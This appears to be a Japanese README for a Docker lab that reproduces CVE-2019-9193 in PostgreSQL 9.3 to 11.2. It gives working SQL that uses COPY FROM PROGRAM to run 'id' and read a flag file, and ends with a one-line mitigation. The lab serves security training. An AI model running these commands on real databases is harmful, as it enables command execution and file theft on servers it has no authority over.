
このラボは、CVE-2019-9193 - PostgreSQL COPY FROM PROGRAM RCE をシミュレートします。
このラボは、PostgreSQL 9.3〜11.2 に存在する脆弱性 CVE-2019-9193 を再現します。superuser または pg_execute_server_program ロールを持つユーザーが実行すると、次のコマンドで OS コマンドを実行できます:
COPY ... FROM PROGRAM '<command>'
このラボの課題は、この機能を悪用して次のファイルを読み取ることです:
/tmp/flag.txt
COPY FROM PROGRAM を使用して次の操作を行います:
docker compose build
docker compose up -d
次のコマンドで接続します:
psql -U postgres -h 127.0.0.1 -p 5433
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
TRUNCATE cmd_exec;
COPY cmd_exec FROM PROGRAM 'cat /tmp/flag.txt';
SELECT * FROM cmd_exec;
pg_execute_server_program を不必要に付与しない